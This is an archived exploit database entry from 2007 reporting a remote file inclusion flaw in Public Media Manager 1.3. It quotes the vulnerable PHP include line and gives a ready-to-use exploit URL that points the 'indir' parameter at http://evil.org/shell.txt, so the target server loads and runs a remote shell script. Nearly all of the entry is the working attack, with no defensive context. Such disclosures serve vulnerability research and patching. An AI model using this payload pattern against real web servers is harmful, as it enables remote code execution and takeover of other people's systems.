public media manager 1.3 - Remote File Inclusion

2007-09-28T00:00:00
ID EXPLOITPACK:00F6E219D7146292D560576CB9914E83
Type exploitpack
Reporter 0in
Modified 2007-09-28T00:00:00

Description

public media manager 1.3 - Remote File Inclusion

                                        
                                            #f0und bY 0in
#Download:http://pmm-cms.sourceforge.net/
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt

# milw0rm.com [2007-09-28]